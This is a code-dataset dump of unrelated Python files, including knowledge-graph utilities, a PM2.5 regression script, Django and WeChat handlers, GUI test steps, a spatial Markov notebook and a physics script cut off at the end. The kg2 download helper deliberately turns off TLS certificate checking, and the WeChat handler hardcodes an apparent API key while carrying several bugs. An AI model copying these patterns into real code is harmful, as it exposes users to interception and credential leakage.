pprint.pprint(dict(list(x.items())[0:(n-1)]))\n\n\ndef purge(dir, pattern):\n exp_dir = os.path.expanduser(dir)\n for f in os.listdir(exp_dir):\n if re.search(pattern, f):\n os.remove(os.path.join(exp_dir, f))\n\n\ndef allcaps_to_only_first_letter_capitalized(allcaps: str):\n return allcaps[0] + allcaps[1:].lower()\n\n\ndef safe_load_yaml_from_string(yaml_string: str):\n return yaml.safe_load(io.StringIO(yaml_string))\n\n\ndef make_curies_to_uri_map(curies_to_uri_lal_map_yaml_file_name: str) -> list:\n curies_to_uri_lal_map_yaml_string = read_file_to_string(curies_to_uri_lal_map_yaml_file_name)\n return typing.cast(list, safe_load_yaml_from_string(curies_to_uri_lal_map_yaml_string)) + \\\n prefixcommons.curie_util.default_curie_maps\n\n\ndef log_message(message: str,\n ontology_name: str = None,\n node_curie_id: str = None,\n output_stream=sys.stdout):\n if node_curie_id is not None:\n node_str = \": \" + node_curie_id\n else:\n node_str = \"\"\n if ontology_name is not None:\n ont_str = '[' + ontology_name + '] '\n else:\n ont_str = ''\n print(ont_str + message + node_str, file=output_stream)\n\n\ndef merge_two_dicts(x: dict, y: dict):\n ret_dict = copy.deepcopy(x)\n for key, value in y.items():\n stored_value = ret_dict.get(key, None)\n if stored_value is None:\n if value is not None:\n ret_dict[key] = value\n else:\n if value is not None and value != stored_value:\n if type(value) == str and type(stored_value) == str:\n if value.lower() != stored_value.lower():\n if key == 'description' or key == 'update date':\n if len(value) > len(stored_value): # use the longer of the two descriptions or update date fields\n ret_dict[key] = value\n elif key == 'ontology node type':\n log_message(\"warning: for key: \" + key + \", dropping second value: \" + value + '; keeping first value: ' + stored_value,\n output_stream=sys.stderr)\n ret_dict[key] = stored_value\n elif key == 'provided by':\n if value.endswith('/STY'):\n ret_dict[key] = value\n elif key == 'category label':\n if value != 'unknown_category':\n if stored_value == 'unknown_category':\n ret_dict[key] = value\n else:\n stored_desc = ret_dict.get('description', None)\n new_desc = y.get('description', None)\n if stored_desc is not None and new_desc is not None and len(new_desc) > len(stored_desc):\n ret_dict[key] = value\n elif key == 'category':\n if not value.endswith('/UnknownCategory'):\n if stored_value.endswith('/UnknownCategory'):\n ret_dict[key] = value\n else:\n stored_desc = ret_dict.get('description', None)\n new_desc = y.get('description', None)\n if stored_desc is not None and new_desc is not None and len(new_desc) > len(stored_desc):\n ret_dict[key] = value\n elif key == 'name' or key == 'full name':\n if value.replace(' ', '_') != stored_value.replace(' ', '_'):\n stored_desc = ret_dict.get('description', None)\n new_desc = y.get('description', None)\n if stored_desc is not None and new_desc is not None:\n if len(new_desc) > len(stored_desc):\n ret_dict[key] = value\n else:\n log_message(\"warning: for key: \" + key + \", dropping second value: \" + value + '; keeping first value: ' + stored_value,\n output_stream=sys.stderr)\n elif type(value) == list and type(stored_value) == list:\n ret_dict[key] = list(set(value + stored_value))\n elif type(value) == list and type(stored_value) == str:\n ret_dict[key] = list(set(value + [stored_value]))\n elif type(value) == str and type(stored_value) == list:\n ret_dict[key] = list(set([value] + stored_value))\n elif type(value) == dict and type(stored_value) == dict:\n ret_dict[key] = merge_two_dicts(value, stored_value)\n elif key == 'deprecated' and type(value) == bool:\n ret_dict[key] = True # special case for deprecation; True always trumps False for this property\n else:\n assert False\n return ret_dict\n\n\ndef compose_two_multinode_dicts(node1: dict, node2: dict):\n ret_dict = copy.deepcopy(node1)\n for key, value in node2.items():\n stored_value = ret_dict.get(key, None)\n if stored_value is None:\n ret_dict[key] = value\n else:\n if value is not None:\n ret_dict[key] = merge_two_dicts(node1[key], value)\n return ret_dict\n\n\ndef format_timestamp(timestamp: time.struct_time):\n return time.strftime('%Y-%m-%d %H:%M:%S %Z', timestamp)\n\n\ndef download_file_if_not_exist_locally(url: str, local_file_name: str):\n if url is not None:\n local_file_path = pathlib.Path(local_file_name)\n if not local_file_path.is_file():\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n # the following code is ugly but necessary because sometimes the TLS\n # certificates of remote sites are broken and some of the PURL'd\n # URLs resolve to HTTPS URLs (would prefer to just use\n # urllib.request.urlretrieve, but it doesn't seem to support\n # specifying an SSL \"context\" which we need in order to ignore the cert):\n temp_file_name = tempfile.mkstemp(prefix=TEMP_FILE_PREFIX + '-')[1]\n with urllib.request.urlopen(url, context=ctx) as u, open(temp_file_name, 'wb') as f:\n f.write(u.read())\n shutil.move(temp_file_name, local_file_name)\n return local_file_name\n\n\ndef convert_snake_case_to_camel_case(name: str):\n name = name.title().replace('_', '')\n if len(name) > 0:\n name = name[0].lower() + name[1:]\n return name\n\n\ndef convert_space_case_to_camel_case(name: str):\n return name.title().replace(' ', '')\n\n\ndef convert_camel_case_to_snake_case(name: str):\n s1 = FIRST_CAP_RE.sub(r'\\1_\\2', name)\n converted = ALL_CAP_RE.sub(r'\\1_\\2', s1).lower()\n converted = converted.replace('sub_class', 'subclass')\n if converted[0].istitle():\n converted[0] = converted[0].lower()\n return converted.replace(' ', '_')\n\n\ndef convert_biolink_category_to_iri(biolink_category_label: str,\n biolink_category_base_iri: str = BIOLINK_CATEGORY_BASE_IRI):\n return urllib.parse.urljoin(biolink_category_base_iri,\n convert_space_case_to_camel_case(biolink_category_label))\n\n\ndef make_node(id: str,\n iri: str,\n name: str,\n category_label: str,\n update_date: str,\n provided_by: str):\n return {'id': id,\n 'iri': iri,\n 'name': name,\n 'full name': name,\n 'category': convert_biolink_category_to_iri(category_label),\n 'category label': category_label.replace(' ', '_'),\n 'description': None,\n 'synonym': [],\n 'publications': [],\n 'creation date': None,\n 'update date': update_date,\n 'deprecated': False,\n 'replaced by': None,\n 'provided by': provided_by}\n\n\ndef make_edge_key(edge_dict: dict):\n return edge_dict['subject'] + '---' + \\\n edge_dict['object'] + '---' + \\\n edge_dict['relation curie'] + '---' + \\\n edge_dict['provided by']\n\n\ndef make_edge(subject_id: str,\n object_id: str,\n relation: str,\n relation_curie: str,\n predicate_label: str,\n provided_by: str,\n update_date: str = None):\n\n return {'subject': subject_id,\n 'object': object_id,\n 'edge label': predicate_label,\n 'relation': relation,\n 'relation curie': relation_curie,\n 'negated': False,\n 'publications': [],\n 'publications info': {},\n 'update date': update_date,\n 'provided by': provided_by}\n\n\ndef predicate_label_to_iri_and_curie(predicate_label: str,\n relation_curie_prefix: str,\n relation_iri_prefix: str):\n predicate_label = predicate_label.replace(' ', '_')\n if ':' not in predicate_label:\n if relation_curie_prefix.lower() != 'biolink':\n predicate_label_to_use = convert_snake_case_to_camel_case(predicate_label)\n else:\n predicate_label_to_use = predicate_label\n else:\n predicate_label_to_use = predicate_label.replace(':', '_')\n return [urllib.parse.urljoin(relation_iri_prefix, predicate_label_to_use),\n relation_curie_prefix + ':' + predicate_label]\n","sub_path":"code/kg2/kg2_util.py","file_name":"kg2_util.py","file_ext":"py","file_size_in_byte":12616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"74646095","text":"\nimport numpy as np\nimport pandas as pd\nimport csv\nimport math\n\ndata=[]\n\nfor i in range(18):\n data.append([])\n\n\ntext=pd.read_csv('train2.csv',encoding='big5')\nrow=text.index\nfor r in row:\n n_row=text.iloc[r]\n\n for i in range(3,27):\n if n_row[i]!=\"NR\":\n data[r%18].append(float( n_row[i]))\n else:\n data[r % 18].append(float(0))\n\n\n\nx=[]\ny=[]\namount=240\n\nfor m in range(12):\n\n for d in range((amount-9)): #連續10小時為一筆data\n x.append([])\n for c in range(18): #18種汙染物\n for h in range(9):\n x[(amount-9)*m+d].append(data[c][amount*m+d+h])\n y.append(data[9][amount*m+d+9])\n\nx=np.array(x)\ny=np.array(y)\n\nx = np.concatenate((np.ones((x.shape[0],1)),x), axis=1)\n\nw=np.zeros(len(x[0]))\nl_rate=10\niteration=100000\n\n\nx_t=x.T\nprint(w)\ns_gra=np.zeros(len(x[0]))\n\nfor i in range(iteration):\n hypo = np.dot(x, w)\n loss = hypo-y\n variance=np.sum(loss**2)/len(x)\n devation=math.sqrt(variance)\n gra=2*np.dot(x_t,loss)\n s_gra=s_gra+gra**2\n ada = np.sqrt(s_gra)\n w=w-l_rate*gra/ada\n\n print ('iteration: %d | Cost: %f ' % ( i,devation))\n\n\n# save model\nnp.save('model2.npy',w)\n\n\n","sub_path":"PM25/PredictPM25_2.py","file_name":"PredictPM25_2.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"57892843","text":"from django.http import JsonResponse\nfrom apps.utils.decorators import allow_methods\nfrom admin.apps.content.models import WeaapTopSlideMongo\n\n@allow_methods(['GET'])\ndef slide_list(request):\n client = WeaapTopSlideMongo()\n slide_content = client.get()\n return JsonResponse({\n 'ok': 1,\n 'statusText': 'ok!',\n 'data': {\n 'slides': slide_content\n }\n })\n","sub_path":"src/apps/dynamiccontent/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"123077853","text":"# -*- coding: utf-8 -*-\n@Given(\"SasView running\")\ndef step(context):\n startApplication(\"sasview\")\n test.compare(waitForObjectExists(\":_QSplashScreen\").visible, False)\n\n@Given(\"empty File Explorer\")\ndef step(context):\n test.compare(str(waitForObjectExists(\":groupBox.treeView_QTreeView\").objectName), \"treeView\")\n test.compare(waitForObjectExists(\":groupBox.treeView_QTreeView\").visible, True)\n\n@When(\"I click on Load Data\")\ndef step(context):\n sendEvent(\"QMouseEvent\", waitForObject(\":groupBox.cmdLoad_QPushButton\"), QEvent.MouseButtonPress, 68, 20, Qt.LeftButton, 1, 0)\n sendEvent(\"QMouseEvent\", waitForObject(\":groupBox.cmdLoad_QPushButton\"), QEvent.MouseButtonRelease, 68, 20, Qt.LeftButton, 0, 0)\n\n@When(\"choose a 1D file\")\ndef step(context):\n waitForObjectItem(\":stackedWidget.listView_QListView\", \"test\")\n doubleClickItem(\":stackedWidget.listView_QListView\", \"test\", 12, 8, 0, Qt.LeftButton)\n waitForObjectItem(\":stackedWidget.listView_QListView\", \"1d\\\\_data\")\n doubleClickItem(\":stackedWidget.listView_QListView\", \"1d\\\\_data\", 35, 14, 0, Qt.LeftButton)\n waitForObjectItem(\":stackedWidget.listView_QListView\", \"cyl\\\\_400\\\\_40\\\\.txt\")\n clickItem(\":stackedWidget.listView_QListView\", \"cyl\\\\_400\\\\_40\\\\.txt\", 64, 7, 0, Qt.LeftButton)\n clickButton(waitForObject(\":buttonBox.Open_QPushButton\"))\n\n@Then(\"a new index will show up in File Explorer\")\ndef step(context):\n test.compare(waitForObjectExists(\":treeView.cyl_400_40.txt_QModelIndex\").row, 0)\n test.compare(waitForObjectExists(\":treeView.cyl_400_40.txt_QModelIndex\").viewType, \"QTreeView\")\n\n@Then(\"It will be checked\")\ndef step(context):\n test.compare(waitForObjectExists(\":treeView.cyl_400_40.txt_QModelIndex\").checkState, \"checked\")\n\n\n@Given(\"a 1D file loaded\")\ndef step(context):\n clickButton(waitForObject(\":groupBox.cmdLoad_QPushButton\"))\n waitForObjectItem(\":stackedWidget.listView_QListView\", \"test\")\n doubleClickItem(\":stackedWidget.listView_QListView\", \"test\", 49, 9, 0, Qt.LeftButton)\n waitForObjectItem(\":stackedWidget.listView_QListView\", \"1d\\\\_data\")\n doubleClickItem(\":stackedWidget.listView_QListView\", \"1d\\\\_data\", 52, 11, 0, Qt.LeftButton)\n waitForObjectItem(\":stackedWidget.listView_QListView\", \"cyl\\\\_400\\\\_20\\\\.txt\")\n doubleClickItem(\":stackedWidget.listView_QListView\", \"cyl\\\\_400\\\\_20\\\\.txt\", 64, 5, 0, Qt.LeftButton)\n test.compare(waitForObjectExists(\":treeView.cyl_400_20.txt_QModelIndex\").row, 0)\n test.compare(waitForObjectExists(\":treeView.cyl_400_20.txt_QModelIndex\").checkState, \"checked\")\n\n@When(\"I select Uncheck All\")\ndef step(context):\n mouseClick(waitForObject(\":groupBox.cbSelect_QComboBox\"), 76, 7, 0, Qt.LeftButton)\n mouseClick(waitForObjectItem(\":groupBox.cbSelect_QComboBox\", \"Unselect all\"), 62, 4, 0, Qt.LeftButton)\n\n@Then(\"the 1D file index will be unchecked\")\ndef step(context):\n test.compare(waitForObjectExists(\":treeView.cyl_400_20.txt_QModelIndex\").checkState, \"unchecked\")\n","sub_path":"src/sas/qtgui/UnitTesting/SquishTestSuites/suite_sasview_bdd/shared/steps/steps.py","file_name":"steps.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"153277199","text":"# -*- coding: utf-8 -*-\n# filename: handle.py\n\nimport hashlib\nimport web\nimport lxml\nimport time\nimport os \nimport re\nimport json\nimport urllib, urllib2\nfrom lxml import etree\n\n\nclass Handle(object):\n\tdef POST(self):\n\t\tstr_xml = web.data() #\t获得post来的数据\n\t\txml = etree.fromstring(str_xml) #进行XML解析\n\t\tmstype = xml.find(\"MsgType\").text\n\t\tfromUser = xml.find(\"FindUserName\").text\n\t\ttoUser = xml.find(\"TouserName\").text\n\n\t\tif mstype == 'event':\n\t\t\tmscontent = xml.find(\"Event\").text\n\t\t\tif mscontent == \"subscribe\":\n\t\t\t\treplayText = 'hello, this is leiline.'\n\t\t\t\treturn self.render.reply_text(fromUser, toUser, int(time.time()), replayText)\n\n\t\tif mstype == 'text':\n\t\t\tcontent = xml.find('Content').text # 获得用户所输入的内容\n\t\t\tif content == u\"电台\" or content == 'fm' or content == 'Fm' or content =='FM':\n\t\t\t\turl = 'http;//m.xinli001.com/fm'\n\t\t\t\tfmre = urllib.urlopen(url).read()\n\t\t\t\tpa1 = re.compile(r'.*?(.*?)-心理FM',re.S)\n\t\t\t\tts1 = re.findall(pa1, fmre)\n\t\t\t\tpa3 = re.compile(r'var broadcast_url = \"(.*?)\", broadcastListUrl = \"/fm/items/' , re.S)\n\t\t\t\tts3 = re.findall(pa3, fmre)\n\t\t\t\treq = urllib2.Request(ts3[0])\n\t\t\t\tresponse = urllib2.urlopen(req)\n\t\t\t\tmusicTitle = ts1[0]\n\t\t\t\tmusicDes = ''\n\t\t\t\tmusicURL = redirectUrl\n\t\t\t\tHQURL = 'http://m.xinli001.com/fm/'\n\t\t\t\treturn self.render.reply_sound(fromUser, toUser, musicTitle, musicDes, musicURL, HQURL)\n\n\t\t\tif content == 'frends':\n\t\t\t\tkey = '3e1e41a4f87d40f39f4b65476355137e'\n\t\t\t\tapi = 'http://www.tuling123.com/openapi/api?key=' + key + '&info='\n\t\t\t\tinfo = content.encode('UTF-8')\n\t\t\t\turl = api + info\n\t\t\t\tpage = urllib.urlopen(url)\n\t\t\t\thtml = page.read()\n\t\t\t\tdic_json = json.loads(html)\n\t\t\t\treply_content = dic_json['text']\n\t\t\t\treturn self.render.reply_text(fromUser, toUser, int(time.time()), reply_content)\n","sub_path":"wechat/handle.py","file_name":"handle.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"263112506","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n\nimport numpy as np\nc = np.array([['b','a','c'],['c','c','a'],['c','b','c'],['a','a','b'],['a','b','c']])\n\n\n# In[3]:\n\n\nprint(c)\n\n\n# In[4]:\n\n\nimport giddy\nm = giddy.markov.Markov(c)\n\n\n# In[5]:\n\n\nprint(m)\n\n\n# In[6]:\n\n\nm = giddy.markov.Markov(c, summary=False)\nprint(m.classes)\n\n\n# In[7]:\n\n\nprint(len(m.classes))\n\n\n# In[8]:\n\n\nprint(m.transitions)\n\n\n# In[9]:\n\n\nprint(m.p)\n\n\n# In[10]:\n\n\nm.steady_state # steady state distribution\n\n\n# In[11]:\n\n\nimport libpysal\nf = libpysal.io.open(libpysal.examples.get_path(\"usjoin.csv\"))\npci = np.array([f.by_col[str(y)] for y in range(1929,2010)])\nprint(pci.shape)\n\n\n# In[12]:\n\n\nprint(f)\n\n\n# In[13]:\n\n\nprint(pci[0, :])\n\n\n# In[14]:\n\n\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nyears = range(1929,2010)\nnames = np.array(f.by_col(\"Name\"))\norder1929 = np.argsort(pci[0,:])\norder2009 = np.argsort(pci[-1,:])\nnames1929 = names[order1929[::-1]]\nnames2009 = names[order2009[::-1]]\nfirst_last = np.vstack((names1929,names2009))\nfrom pylab import rcParams\nrcParams['figure.figsize'] = 15,10\nplt.plot(years,pci)\nfor i in range(48):\n plt.text(1915,54530-(i*1159), first_last[0][i],fontsize=12)\n plt.text(2010.5,54530-(i*1159), first_last[1][i],fontsize=12)\nplt.xlim((years[0], years[-1]))\nplt.ylim((0, 54530))\nplt.ylabel(r\"$y_{i,t}$\",fontsize=14)\nplt.xlabel('Years',fontsize=12)\nplt.title('Absolute Dynamics',fontsize=18)\n\n\n# In[15]:\n\n\nyears = range(1929,2010)\nrpci= (pci.T / pci.mean(axis=1)).T\nnames = np.array(f.by_col(\"Name\"))\norder1929 = np.argsort(rpci[0,:])\norder2009 = np.argsort(rpci[-1,:])\nnames1929 = names[order1929[::-1]]\nnames2009 = names[order2009[::-1]]\nfirst_last = np.vstack((names1929,names2009))\nfrom pylab import rcParams\nrcParams['figure.figsize'] = 15,10\nplt.plot(years,rpci)\nfor i in range(48):\n plt.text(1915,1.91-(i*0.041), first_last[0][i],fontsize=12)\n plt.text(2010.5,1.91-(i*0.041), first_last[1][i],fontsize=12)\nplt.xlim((years[0], years[-1]))\nplt.ylim((0, 1.94))\nplt.ylabel(r\"$y_{i,t}/\\bar{y}_t$\",fontsize=14)\nplt.xlabel('Years',fontsize=12)\nplt.title('Relative Dynamics',fontsize=18)\n\n\n# In[16]:\n\n\nimport mapclassify as mc\nq5 = np.array([mc.Quantiles(y,k=5).yb for y in pci]).transpose()\nprint(q5[:, 0])\n\n\n# In[17]:\n\n\nprint(f.by_col(\"Name\"))\n\n\n# In[18]:\n\n\nprint(q5[4, :])\n\n\n# In[19]:\n\n\nm5 = giddy.markov.Markov(q5)\n\n\n# In[20]:\n\n\nprint(m5.transitions)\n\n\n# In[21]:\n\n\nprint(m5.p)\n\n\n# In[22]:\n\n\nprint(m5.steady_state)\n\n\n# In[23]:\n\n\nprint(giddy.ergodic.fmpt(m5.p))\n\n\n# In[24]:\n\n\nimport geopandas as gpd\nimport pandas as pd\n\n\n# In[25]:\n\n\ngeo_table = gpd.read_file(libpysal.examples.get_path('us48.shp'))\nincome_table = pd.read_csv(libpysal.examples.get_path(\"usjoin.csv\"))\ncomplete_table = geo_table.merge(income_table,left_on='STATE_NAME',right_on='Name')\ncomplete_table.head()\n\n\n# In[26]:\n\n\nfig, axes = plt.subplots(nrows=2, ncols=3,figsize = (15,7))\nfor i in range(2):\n for j in range(3):\n ax = axes[i,j]\n complete_table.plot(ax=ax, column=str(index_year[i*3+j]), cmap='OrRd', scheme='quantiles', legend=True)\n ax.set_title('Per Capita Income %s Quintiles'%str(index_year[i*3+j]))\n ax.axis('off')\n leg = ax.get_legend()\n leg.set_bbox_to_anchor((0.8, 0.15, 0.16, 0.2))\nplt.tight_layout()\n\n\n# In[27]:\n\n\nfrom esda.moran import Moran\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nw = libpysal.io.open(libpysal.examples.get_path(\"states48.gal\")).read()\nw.transform = 'R'\nmits = [Moran(cs, w) for cs in pci]\nres = np.array([(mi.I, mi.EI, mi.seI_norm, mi.sim[974]) for mi in mits])\nyears = np.arange(1929,2010)\nfig, ax = plt.subplots(nrows=1, ncols=1,figsize = (10,5) )\nax.plot(years, res[:,0], label='Moran\\'s I')\n#plot(years, res[:,1], label='E[I]')\nax.plot(years, res[:,1]+1.96*res[:,2], label='Upper bound',linestyle='dashed')\nax.plot(years, res[:,1]-1.96*res[:,2], label='Lower bound',linestyle='dashed')\nax.set_title(\"Global spatial autocorrelation for annual US per capita incomes\",fontdict={'fontsize':15})\nax.set_xlim([1929,2009])\nax.legend()\n\n\n# In[28]:\n\n\nget_ipython().run_line_magic('pinfo', 'giddy.markov.Spatial_Markov')\n\n\n# In[29]:\n\n\nsm = giddy.markov.Spatial_Markov(rpci.T, w, fixed = True, k = 5,m=5) # spatial_markov instance o\n\n\n# In[30]:\n\n\nprint(sm.p)\n\n\n# In[31]:\n\n\nsm.summary()\n\n\n# In[32]:\n\n\n#we use seaborn to create a heatmap (`pip install seaborn` to install seaborn if you do not have it)\nimport seaborn as sns\nsns.set()\n\nfig, ax = plt.subplots(figsize = (5,4))\nim = sns.heatmap(sm.p, annot=True, linewidths=.5, ax=ax, cbar=True, vmin=0, vmax=1,\n square=True, cmap=\"YlGn\",fmt='.3f')\n\n\n# In[33]:\n\n\nfig, axes = plt.subplots(2,3,figsize = (15,8))\n\nfor i in range(2):\n for j in range(3):\n ax = axes[i,j]\n if i==1 and j==2:\n ax.axis('off')\n continue\n p_temp = sm.P[i*3+j]\n im = sns.heatmap(p_temp, annot=True, linewidths=.5, ax=ax, cbar=True, vmin=0, vmax=1,\n square=True, cmap=\"YlGn\",fmt='.3f')\n ax.set_title(\"Spatial Lag %d\"%(i*3+j),fontsize=13)\n\n\n# In[34]:\n\n\nfig, axes = plt.subplots(2,3,figsize = (15,8))\n\nfor i in range(2):\n for j in range(3):\n ax = axes[i,j]\n if i==0 and j==0:\n im = sns.heatmap(sm.p, annot=True, linewidths=.5, ax=ax, cbar=True, vmin=0, vmax=1,\n square=True, cmap=\"YlGn\",fmt='.3f')\n ax.set_title(\"Global\",fontsize=13)\n else:\n p_temp = sm.P[i*3+j-1]\n im = sns.heatmap(p_temp, annot=True, linewidths=.5, ax=ax, cbar=True, vmin=0, vmax=1,\n square=True, cmap=\"YlGn\",fmt='.3f')\n ax.set_title(\"Spatial Lag %d\"%(i*3+j),fontsize=13)\n\n\n# In[35]:\n\n\nprint(sm.S)\n\n\n# In[36]:\n\n\nprint(sm.F)\n\n\n# In[37]:\n\n\ngiddy.markov.Homogeneity_Results(sm.T).summary()\n\n\n# In[38]:\n\n\nprint(giddy.markov.kullback(sm.T))\n\n\n# In[39]:\n\n\nlm = giddy.markov.LISA_Markov(pci.T, w)\nprint(lm.classes)\n\n\n# In[40]:\n\n\nprint(lm.transitions)\n\n\n# In[41]:\n\n\nprint(lm.p)\n\n\n# In[42]:\n\n\nprint(lm.steady_state)\n\n\n# In[43]:\n\n\nprint(giddy.ergodic.fmpt(lm.p))\n\n\n# In[44]:\n\n\nprint(lm.chi_2)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Milestone7_Interface_OpenAQ_Outlier_Error_Identification_Gatherminder/AirNode_AQCA_Milestone2_PySal.py","file_name":"AirNode_AQCA_Milestone2_PySal.py","file_ext":"py","file_size_in_byte":6166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"516003563","text":"\"\"\"empty message\n\nRevision ID: 8bf2e19d1d11\nRevises: c681e4adf875\nCreate Date: 2018-10-05 14:21:22.664259\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '8bf2e19d1d11'\ndown_revision = 'c681e4adf875'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('messages',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('message_id', sa.String(length=50), nullable=False),\n sa.Column('sender_id', sa.String(length=50), nullable=True),\n sa.Column('recipient', sa.String(length=50), nullable=True),\n sa.Column('message', sa.String(length=200), nullable=True),\n sa.Column('priority', sa.String(length=50), nullable=True),\n sa.Column('status', sa.String(length=50), nullable=True),\n sa.Column('state', sa.String(length=50), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=False),\n sa.Column('modified_at', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.drop_table('notifications')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('notifications',\n sa.Column('id', sa.INTEGER(), autoincrement=True, nullable=False),\n sa.Column('message_id', sa.VARCHAR(length=50), autoincrement=False, nullable=False),\n sa.Column('sender_id', sa.VARCHAR(length=50), autoincrement=False, nullable=True),\n sa.Column('recipient', sa.VARCHAR(length=50), autoincrement=False, nullable=True),\n sa.Column('message', sa.VARCHAR(length=200), autoincrement=False, nullable=True),\n sa.Column('priority', sa.VARCHAR(length=50), autoincrement=False, nullable=True),\n sa.Column('status', sa.VARCHAR(length=50), autoincrement=False, nullable=True),\n sa.Column('state', sa.VARCHAR(length=50), autoincrement=False, nullable=True),\n sa.Column('created_at', postgresql.TIMESTAMP(), autoincrement=False, nullable=False),\n sa.Column('modified_at', postgresql.TIMESTAMP(), autoincrement=False, nullable=True),\n sa.PrimaryKeyConstraint('id', name='notifications_pkey')\n )\n op.drop_table('messages')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/8bf2e19d1d11_.py","file_name":"8bf2e19d1d11_.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"254085716","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 10 16:04:54 2018\n\n@author: Karl M. Snyder\n\"\"\"\n\n#DICTIONARIES 1\n\nmy_dict = dict(name='Chris', city='Seattle', cake='Chocolate')\nprint(my_dict)\nmy_dict.pop('cake')\nprint(my_dict)\nmy_dict['fruit'] = 'Mango'\nprint(my_dict.keys())\nprint(my_dict.values())\nprint('cake' in my_dict)\nprint('Mango' in my_dict.values())\n\n#DICTIONARIES 2\n\nmy_dict = dict(name='Chris', city='Seattle', cake='Chocolate')\nmy_new_dict = {}\nfor k,v in my_dict.items():\n my_new_dict[k] = v.count('t'.lower())\nprint(my_new_dict)\n\n#SETS 1\n\nnum = range(21)\ns2 = {i for i in num if i % 2 == 0}\nprint(s2)\ns3 = {i for i in num if i % 3 == 0}\nprint(s3)\ns4 = {i for i in num if i % 4 == 0}\nprint(s4)\n\n#SETS 2\n\nmy_set = set('Python')\nmy_set.add('i')\nmy_frozenset = frozenset('marathon')\nprint(my_set.union(my_frozenset))\nprint(my_set.intersection(my_frozenset))\n\n#FILE LAB 1\n\nimport os\ncwd = os.getcwd() #shows current working dir\ndef long_file_name(cur_dir):\n for file_name in os.listdir(cur_dir): #get file names in dir\n full_path = os.path.join(cur_dir, file_name) #concatenate dir and file\n if os.path.isfile(full_path):\n print(full_path)\n else:\n long_file_name(full_path) #recursive to sub-dir?\nlong_file_name(cwd)\n\n#FILE LAB 2\n\nwith open('\\\\\\\\goflex_home\\\\GoFlex Home Personal\\\\UofW\\\\repo\\\\Self_Paced-Online\\\\students\\\\kmsnyde\\\\lesson04\\\\data_in.txt', 'w') as f:\n f.write((\"This is my first write test\\n\")*10)\nwith open('\\\\\\\\goflex_home\\\\GoFlex Home Personal\\\\UofW\\\\repo\\\\Self_Paced-Online\\\\students\\\\kmsnyde\\\\lesson04\\\\data_copy.txt', 'w') as g:\n for line in open('\\\\\\\\goflex_home\\\\GoFlex Home Personal\\\\UofW\\\\repo\\\\Self_Paced-Online\\\\students\\\\kmsnyde\\\\lesson04\\\\data_in.txt').read():\n g.write(line)\n","sub_path":"students/kmsnyde/lesson04/dict_lab.py","file_name":"dict_lab.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"404785867","text":"import numpy as np\n\n######## Inputs ##############################\n# Model\nalpha = 0.35 # In at left\nbeta = 2/3 # Exit at right\ns = -1 # Exponential weighting\ngamma = 0 # Exit at left\ndelta = 0 # In at right\np = 1 # Jump right\nq = 0 # Jump Left\n# Optimization\ntol = 1e-10\nmaxIter = 10\n##############################################\n\n######## Prereqs #############################\n# Create MPS \nM = []\nM.insert(len(M),np.ones((2,1,2)))\nM.insert(len(M),np.ones((2,2,1)))\n# Create all generic operations\nSp = np.array([[0,1],[0,0]])\nSm = np.array([[0,0],[1,0]])\nn = np.array([[0,0],[0,1]])\nv = np.array([[1,0],[0,0]])\nI = np.array([[1,0],[0,1]])\nz = np.array([[0,0],[0,0]])\n# Container to hold all operators\nops = []\n# First Operator ----------------------------\nop1 = []\n# Site 1\nop1.insert(len(op1),alpha*(np.exp(-s)*Sm-v))\n# Site 2\nop1.insert(len(op1),I)\n# Add to operator list\nops.insert(len(ops),op1)\n# Second Operator ---------------------------\nop2 = []\n# Site 1\nop2.insert(len(op2),np.exp(-s)*Sp)\n# Site 2\nop2.insert(len(op2),Sm)\n# Add to operator list\nops.insert(len(ops),op2)\n# Third Operator ---------------------------\nop3 = []\n# Site 1\nop3.insert(len(op3),-n)\n# Site 2\nop3.insert(len(op3),v)\n# Add to operator list\nops.insert(len(ops),op3)\n# Fourth Operator ---------------------------\nop4 = []\n# Site 1\nop4.insert(len(op4),I)\n# Site 2\nop4.insert(len(op4),beta*(np.exp(-s)*Sp-n))\n# Add to operator list\nops.insert(len(ops),op4)\n\nnops = len(ops)\n##############################################\n\n# Make MPS Right Canonical ###################\nM_reshape = np.swapaxes(M[1],0,1)\nM_reshape = np.reshape(M_reshape,(2,2))\n(U,s,V) = np.linalg.svd(M_reshape,full_matrices=True)\nM_reshape = np.reshape(V,(2,2,1))\nM[1] = np.swapaxes(M_reshape,0,1)\nM[0] = np.einsum('klj,ji,i->kli',M[0],U,s)\n##############################################\n\n# Optimization Sweeps ########################\nconverged = 